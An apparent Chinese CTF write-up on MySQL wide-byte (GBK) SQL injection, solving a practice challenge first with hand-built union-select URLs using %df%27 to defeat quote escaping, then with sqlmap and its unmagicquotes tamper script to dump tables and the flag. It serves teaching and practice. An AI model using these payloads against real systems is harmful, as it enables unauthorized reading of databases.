mysql宽字节注入_(宽字节注入) 手注+sqlmap

进入题目后先简单尝试一下。

cc2475456cd4e0e25ee5d96b5dbaa521.png

很明显的宽字节注入。

宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

手工注入

1、判断列数:

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23

order by 3 时报错,说明只有两列。

2、各类信息:

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2

union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23

[email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

3、库名:

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23

sae-chinalover

4、表名:

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2

union select 2,group_concat(table_name)

from information_schema.tables

where table_schema=database()%23

ctf,ctf2,ctf3,ctf4,news

5、ctf4表的列名:

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2

union select 2,group_concat(column_name)

from information_schema.columns

where table_name=0x63746634%23

id,flag

这里注意:要将表名ctf4转为16进制

这里提供一个字符串转16进制的网站:

http://www.5ixuexiwang.com/str/hex.php

转了16进制之后记得在前面加上0x

6、flag列的数据:

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2

union select 2,(select flag from ctf4)%23

flag{this_is_sqli_flag}

sqlmap跑法

1、查看有哪些库:

sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs

这个时侯就要用到一个脚本了:

脚本名:unmagicquotes.py

作用:宽字符绕过

4d208d07aa129b7ba933012f6a6912f8.png

2、表名:

sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3"--tamper unmagicquotes -D `sae-chinalover` --tables

c71ce26330573a355ae78688fbc3c427.png

3、列名:

sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

e336402e9747a5f2d26b17ad67ec2f24.png

4、flag列的数据:

sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

aef576378697c56ab3008bee0587fe33.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值